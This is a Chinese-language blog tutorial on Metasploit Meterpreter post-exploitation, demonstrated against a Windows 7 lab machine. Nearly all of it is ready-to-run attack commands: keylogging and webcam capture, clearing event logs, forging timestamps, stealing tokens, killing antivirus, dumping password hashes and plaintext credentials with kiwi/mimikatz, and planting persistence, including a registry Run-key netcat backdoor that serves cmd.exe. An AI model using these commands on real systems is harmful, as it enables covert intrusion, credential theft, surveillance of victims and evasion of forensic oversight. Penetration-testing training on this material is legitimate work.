Metasploit从入门到入坟

  • A+
所属分类:安全文章

一、前言


MSF是当今安全专业人员免费提供的最有用的审计工具之一!!本篇为地基篇,都是基础必备知识,掌握它吧~

接下来我会介绍基本的认知MSF,基础的架构,以及演示总结出我学整整一年安全来所会的Metasploit meterpreter基础知识告诉大家,分享者才是学习中的最大受益者!!

这里不会讲解一些枯燥的废话,需要专业术语方面的请百度,开始演示。

二、MSF基础认知


1.体系框架

Metasploit从入门到入坟

直接拿一张图给大家简单看一下Metasploit 体系结构,该图是google找到的,清晰易懂;



2.Metasploit文件系统

kali是自带Metasploit的,如果需要在windows和mac环境下安装也可以的

https://www.metasploit.com/download    #官网下载安装即可

Metasploit从入门到入坟

这里花一分钟让自己熟悉它的文件系统和库:

该MSF文件系统是一个直观的方式布置:
data:Metasploit使用的可编辑文件documentation:为框架提供文档external:   源代码和第三方库lib:框架代码库的'肉'modules:实际的MSF模块plugins:可以在运行时加载的插件scripts:Meterpreter和其他脚本tools:各种有用的命令行工具

核心文件包括data、modules、scripts、tools、plugins


1) data

Metasploit从入门到入坟

该文件里常用的的功能在wordlists(字典)里面


2) modules

Metasploit从入门到入坟

该文件夹里包括了msf最核心的几个文件:

auxiliary #漏洞辅助模块一般是没有攻击载荷的漏洞攻击encoders  #码器模块evasion   #简单的反杀模块exploits  #渗透攻击模块nops      #空指令模块payloads  #漏洞负载模块


3) scripts

Metasploit从入门到入坟

该文件夹里面包含这各种脚本


4) tools

Metasploit从入门到入坟

该文件夹中存放着大量的使用工具


5) plugins

Metasploit从入门到入坟

该文件夹放着大量插件

简单知道该文件系统是干嘛的就行,对渗透领域深入后可以利用找到该模块利用里面的代码!


三、后渗透必备命令


里演示环境:

击者:kali-2020.4

被攻击者:windows7

这里不会写怎么反弹shell,怎么提权的,不会的百度~~~~


1.系统命令


1) 基本系统命令

sessions -i <ID值>  #进入会话   -k  #杀死会话background        #将当前会话放置后台run            #执行已有的模块,输入run后按两下tab,列出已有的脚本info     #查看已有模块信息getuid     #查看权限 getpid     #获取当前进程的pidsysinfo   #查看目标机系统信息ps       #查看当前活跃进程    kill <PID值> 杀死进程idletime   #查看目标机闲置时间reboot / shutdown   #重启/关机shell     #进入目标机cmd shell


2) 开关键盘/鼠标

Metasploit从入门到入坟

uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标uictl disable mouse    #禁用鼠标uictl disable keyboard  #禁用键盘uictl enable mouse    #开启鼠标uictl enable keyboard  #开启键盘


3) 摄像头命令

Metasploit从入门到入坟

webcam_list     #查看摄像头webcam_snap     #通过摄像头拍照webcam_stream   #通过摄像头开启视频

如果系统不存在摄像头的话就会报错!
这里控制windows7是我本地虚拟机环境,我禁用了USB虚拟接口。
开启摄像头会弹出web页面,进行远程观看!
拍摄的照片会存放在/user/ascotbe/目录下,会有提示!


4) 执行文件

Metasploit从入门到入坟

execute -H -i -f cmd.exe   #创建新进程cmd.exe-H不可见,-i交互

还有个-m命令是在内存中运行~~

这里主要记住这个命令即可,创建的新进程对方无法可见,就是在电脑上打开了一个cmd新窗口…

5) 进程迁移

getpid    # 获取当前进程的pidps     # 查看当前活跃进程migrate <pid值>    #将Meterpreter会话移植到指定pid值进程中kill <pid值>   #杀死进程

演示:

Metasploit从入门到入坟

这里有两个进程:

1264  1148  explorer.exe   x64   1    dayu-PCdayu  C:Windowsexplorer.exe1396  488   svchost.exe

Metasploit从入门到入坟

可以看到如果两个进程的权限不同,也就是说该进程没有要注入的进程权限高的话,是没办法写入到其他进程中去的!!很直观的方法是看右边的数据!

这里migrate 1264成功将我们的shell攻击文件移植到了explorer的PID中,这是攻击常用注入的进程程序之一,主要作用是以后对方就算关机重启后,开启监听还是能继续获得反弹shell的!!

6) 清除日志

后渗透后需要将日志痕迹清理:

clearev #清除windows中的应用程序日志、系统日志、安全日志,需要管理员权限

执行命令前存在很多日志痕迹:

Metasploit从入门到入坟

执行后:

Metasploit从入门到入坟

Metasploit从入门到入坟

这里必须得是system权限!!!

Metasploit从入门到入坟

清理后会有一个日志清除记录!!


2.文件命令


1) 基础文件系统命令

演示:

Metasploit从入门到入坟

getwd 或者 pwd     # 查看当前工作目录  lscdcat C://Users//dayu//Desktop//dayu.txt    # 查看文件内容upload /root/Desktop/test-dayu.txt C://Users//dayu//Desktop    # 上传文件到目标机上download C://Users//dayu//Desktop//dayu.txt /root/Desktop/    # 下载文件到本机上edit C://Users//dayu//Desktop//1.txt     #会进入编辑模式,编辑或创建文件,没有的话,会新建文件rm C://Users//dayu//Desktop//1.txt  #删除文件mkdir lltest2      #只能在当前目录下创建文件夹rmdir lltest2     #只能删除当前目录下文件夹getlwd  或者 lpwd   #操作攻击者主机 查看当前目录lcd /tmp         #操作攻击者主机 切换目


2) 伪造时间戳

timestomp命令存在好几个功能,这里记住-v和-f即可…

演示:

Metasploit从入门到入坟

Metasploit从入门到入坟

timestomp -v C:/phpStudy/manual.chm     #查看时间戳timestomp C://2.txt -f C://1.txt     #将1.txt的时间戳复制给2.txt

伪造时间信息,挺实用!


3) 搜索文件

Metasploit从入门到入坟

search -f *dayu*.exe    #全局搜索dayu.exe这个文件

搜索速度还是很快的!


3、网络命令


1) 基本命令

基础命令,自行演示:

ipconfig/ifconfig  #查看网卡信息netstat –ano  #查看端口进程arp      #查看ARP信息getproxy   #查看代理信息route   #查看路由


2) 端口转发

演示:

Metasploit从入门到入坟

portfwd add -l 6666 -p 3389 -r 127.0.0.1   #将目标机的3389端口转发到本地6666端口rdesktop 127.0.0.1:6666    #kali远程桌面使用6666端口


3) 添加路由

演示:

Metasploit从入门到入坟

run autoroute -s 10.10.10.0/24  #添加到目标环境网络run autoroute –p   #查看添加的路由

内网穿透必备!

run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24  #扫描整个段存活主机run auxiliary/scanner/portscan/tcp RHOSTS=10.10.10.2 PORTS=3389  #检查IP是否开放3389


4) Socks4a代理

配置socks4a模块:

msf> use auxiliary/server/socks4a msf > set srvhost 127.0.0.1msf > set srvport 1080msf > run

配置proxychains:

vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080

最后proxychains 使用Socks4a代理访问工具或者浏览器即可!


4.信息收集


最常用的脚本:

/usr/share/metasploit-framework/modules/post/windows/gather/usr/share/metasploit-framework/modules/post/linux/gather
解释:run post/windows/gather/checkvm #是否虚拟机run post/linux/gather/checkvm #是否虚拟机run post/windows/gather/forensics/enum_drives #查看分区run post/windows/gather/enum_applications #获取安装软件信息run post/windows/gather/dumplinks #获取最近的文件操作run post/windows/gather/enum_ie #获取IE缓存run post/windows/gather/enum_chrome #获取Chrome缓存run post/windows/gather/enum_patches #补丁信息run post/windows/gather/enum_domain #查找域控

这几个都是常用也高效的,查看到缓存可以收集邮箱登录等各平台客户用过的记录信息和账号密码,查看安装软件信息,补丁信息更好的进一步EXP,或者找到域控信息等


5.提权


1)getsystem

工作原理:

1、getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。2、getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。3、Windows服务已启动,导致与命名管道建立连接。4、该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。

然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程…
这里不是特别稳定…


2)bypassuac

内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:

use exploit/windows/local/bypassuacuse exploit/windows/local/bypassuac_injectionuse windows/local/bypassuac_vbsuse windows/local/ask

演示:

如使用bypassuac.rb脚本:

Metasploit从入门到入坟

msf > use exploit/windows/local/bypassuacmsf > set SESSION 5      #选择当前会话msf > run

大部分情况下直接使用getsystem是很难提权的,会提示管道内存问题、令牌问题、RPCSS变体等阻碍提权,但如果利用bypassuac返回新会话,就非常稳定提权了…实用


6.内核提权


可先利用enum_patches模块收集补丁信息,然后查找可用的exploits进行提权,需要退出当前连接

Metasploit从入门到入坟

meterpreter > run post/windows/gather/enum_patches  #查看补丁信息msf > use exploit/windows/....      #利用未打补丁的模块即可msf > set SESSION 5msf > exploit


7.远程桌面&截图

enumdesktops    #查看可用的桌面getdesktop      #获取当前meterpreter 关联的桌面set_desktop     #设置meterpreter关联的桌面  -h查看帮助screenshot    #截屏use espia      #或者使用espia模块截屏  然后输入screengrabrun vnc      #使用vnc远程桌面连接,这方法有点问题,上传了exe但是启动不了

1)enumdesktops查询

Metasploit从入门到入坟

meterpreter > enumdesktops Enumerating all accessible desktops


2)screenshot截图

Metasploit从入门到入坟

Metasploit从入门到入坟

清晰截图~~


3)espia截图

Metasploit从入门到入坟

meterpreter > use espia meterpreter > screengrab

利用espia模块会自动打开截图的图片,screenshot不会自动打开,需要自行到tmp目录下打开!


8、开启rdp&添加用户


1)getgui

Metasploit从入门到入坟

run getgui -e   #开启远程桌面run getgui -u dayu1 -p 123456   #添加用户run getgui -f 9999 –e   #3389端口转发到6661

该方法创建用户不稳定…


2)enable_rdp

Metasploit从入门到入坟

run post/windows/manage/enable_rdp  #开启远程桌面run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123456 #添加用户run post/windows/manage/enable_rdp FORWARD=true LPORT=9998  #将3389端口转发到9998

enable_rdp比getgui稳定性好太多,也更实用!!


9.键盘记录

Metasploit从入门到入坟

keyscan_start    #开始键盘记录keyscan_dump     #导出记录数据keyscan_stop   #结束键盘记录

注意:导出记录的话要在keyscan_stop命令之前,不然结束了就无法导出了


10、sniffer抓包

Metasploit从入门到入坟

use sniffersniffer_interfaces     #查看网卡sniffer_start 2       #选择网卡 开始抓包sniffer_stats 2       #查看状态sniffer_dump 2 /tmp/lltest.pcap  #导出pcap数据包sniffer_stop 2       #停止抓包

这里非常实用的抓包…


11.注册表操作


1)参数列表如下

meterpreter > reg -hUsage: reg [command] [options]Interact with the target machine's registry.
OPTIONS:
-d <opt> The data to store in the registry value.#注册表中值的数据 -h Help menu. -k <opt> The registry key path (E.g. HKLMSoftwareFoo).#注册表键路径 -r <opt> The remote machine name to connect to (with current process credentials#要连接的远程计算机名称(使用当前进程凭据) -t <opt> The registry value type (E.g. REG_SZ).#注册表值类型 -v <opt> The registry value name (E.g. Stuff).#注册表键名称 -w Set KEY_WOW64 flag, valid values [32|64].#设置32位注册列表还是64位COMMANDS:
enumkey Enumerate the supplied registry key [-k <key>]#枚举可获得的键 createkey Create the supplied registry key [-k <key>]#创建提供的注册表项 deletekey Delete the supplied registry key [-k <key>]#删除提供的注册表项 queryclass Queries the class of the supplied key [-k <key>]#查询键值数据 setval Set a registry value [-k <key> -v <val> -d <data>]#设置键值 deleteval Delete the supplied registry value [-k <key> -v <val>]#删除提供的注册表值 queryval Queries the data contents of a value [-k <key> -v <val>]#查询值的数据内容


2)注册表设置nc后门

Metasploit从入门到入坟

Metasploit从入门到入坟

upload /root/Desktop/nc64.exe C://Users//dayu//Desktop   #上传nc,前面的是你要上传文件的位置reg enumkey -k HKLM\software\microsoft\windows\currentversion\run   #枚举run下的keyreg setval -k HKLM\software\microsoft\windows\currentversion\run -v lltest_nc -d 'C://Users//dayu//Desktop//nc.exe -Ldp 443 -e cmd.exe' #设置键值reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v lltest_nc   #查看键值
nc -v 192.168.0.142 443 #攻击者连接nc后门

植入后门!


12.令牌操作


1)假冒令牌

Metasploit从入门到入坟

use incognito        #进入incognito模式help incognito      #查看帮助list_tokens -u        #查看可用的tokenimpersonate_token 'NT AUTHORITYSYSTEM'    #假冒SYSTEM token,或者用下面的#impersonate_token NT AUTHORITY\SYSTEM   #不加单引号 需使用\execute -f cmd.exe -i –t            # -t 使用假冒的token执行或者直接shellrev2self       #返回原始token

欺骗实用!


2)steal_token窃取令牌

Metasploit从入门到入坟

steal_token <pid值>   #从指定进程中窃取token   先psdrop_token  #删除窃取的token

这种方法如果不是SYSTEM权限的话是无法窃取SYSTEM权限的,只能窃取相关的权限


13.关闭杀软

Metasploit从入门到入坟

meterpreter> run killav //这个脚本要小心使用,可能导致目标机器蓝屏死机


14.密码抓取


1)hashdump导出密码哈希

Metasploit从入门到入坟

run hashdump


hashdump 模块可以从SAM数据库中导出本地用户账号,该命令的使用需要系统权限

Metasploit从入门到入坟

run windows/gather/smart_hashdump

还可以使用以上命令,该命令的使用需要系统权限,该功能更强大,可以导出域内所有用户的hash!!

smart_hashdump还可以配合PSExec模块进行哈希攻击…

2)抓取自动登录的密码

很多用户习惯将计算机设置自动登录,可以使用以下抓取自动登录的用户名和密码

Metasploit从入门到入坟

run windows/gather/credentials/windows_autologin


3)wiki模块使用

Metasploit从入门到入坟

可以看到提示:

[!] Loaded x86 Kiwi on an x64 architecture

这里本来是要利用mimikatz进行密码获取的,但是发现现在kiwi把mimikatz包含进去了…


报错解释又得回归到kiwi原理上:

kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。

Metasploit从入门到入坟

所以这里随意找了个进程迁移进去…

Metasploit从入门到入坟

creds_all:列举所有凭据creds_kerberos:列举所有kerberos凭据creds_msv:列举所有msv凭据creds_ssp:列举所有ssp凭据creds_tspkg:列举所有tspkg凭据creds_wdigest:列举所有wdigest凭据dcsync:通过DCSync检索用户帐户信息dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RIDgolden_ticket_create:创建黄金票据kerberos_ticket_list:列举kerberos票据kerberos_ticket_purge:清除kerberos票据kerberos_ticket_use:使用kerberos票据kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令lsa_dump_sam:dump出lsa的SAMlsa_dump_secrets:dump出lsa的密文password_change:修改密码wifi_list:列出当前用户的wifi配置文件wifi_list_shared:列出共享wifi配置文件/编码

可看到功能非常强大,这里就简单知道下能干嘛就行,kiwi_cmd命令是包含了mimikatz…
后期会深入利用在渗透中的…

Metasploit从入门到入坟

可看到利用creds_all查看到了所有信息,甚至是明文信息也看到了…

Metasploit从入门到入坟

kiwi_cmd sekurlsa::logonpasswords

这里将kiwi_cmd理解为mimikatz即可…通过mimikatz命令成功获得了明文密码…


15.后门植入


metasploit自带的后门有两种方式启动的,一种是通过启动项启动persistence,一种是通过服务启动metsvc,另外还可以通过persistence_exe自定义后门文件。


1)persistence启动项后门

Metasploit从入门到入坟

run persistenceh  #查看帮助run persistence -X -i 5 -p 4444 -r 192.168.175.145#-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip

可看到在目标机的C:UsersdayuAppDataLocalTempebagFvdP.vbs下建立了vbs文件,开机会启动这个文件上面的vbs文件…

监听写反弹时间间隔是5s 端口是443 Metasploit服务器Ip是192.168.175.145。

缺点是容易被杀毒软件查杀!,建议思路是:

在C:Users***AppDataLocalTemp目录下,上传一个vbs脚本在注册表HKLMSoftwareMicrosoftWindowsCurrentVersionRun加入开机启动项


2)metsvc服务后门

Metasploit从入门到入坟

Metasploit从入门到入坟

run metsvc –h   # 查看帮助run metsvc –A   #自动安装后门

可看到自动在C:UsersdayuAppDataLocalTempccNTBztKL生成三个文件,并把Meterpreter自动放在服务自启中

set payload windows/metsvc_bind_tcp并把port设置31337端口即可...连接

两种方法都很简单,但是杀软不一定放行哦,哈哈~~

16.扫描脚本


这里并不能少了扫描这个项目,因为现在大多数的信息收集都是有自己的可用工具,或者是dir、御剑等等非常实用的工具,但是这里我还是提提吧…也是功能之一,万一用上了…

/usr/share/metasploit-framework/modules/auxiliary/scanner/在这个目录下是扫描脚本,可以修改的
use auxiliary/scanner/http/dir_scanneruse auxiliary/scanner/http/jboss_vulnscanuse auxiliary/scanner/mssql/mssql_loginuse auxiliary/scanner/mysql/mysql_versionuse auxiliary/scanner/oracle/oracle_login常用的扫描脚本,枚举什么自己看文件名即可理解...

四、结束语

以上都是基础必须理解和会的思路和命令方法,大部分渗透人员都接触过Metasploit这款工具,多强大和实用我都体现出来了,不管是初学者还是资深者,都可以阅读。

这里只简单演示了Metasploit-meterpreter的基本功能,还有Metasploit一些思路:
1、漏扫模块编写自己的扫描仪
2、MSF和Nessus联动合作,或进行各方面的漏扫等
3、利用Metasploit写一个漏洞检查工具
4、Metasploit开发利用源码写EXP
5、开发web应用程序漏洞解决Dot Defender等
6、嗅探、透视、隐身、无痕访问、爆破等等
7、post开发等等都可以操作…

太多了,Metasploit深入起来包罗万象,我也是学会了冰山一角,这篇文章如果对大家有帮助,那我写得就值得的,加油~

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

本文始发于微信公众号(零度安全攻防实验室):Metasploit从入门到入坟

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: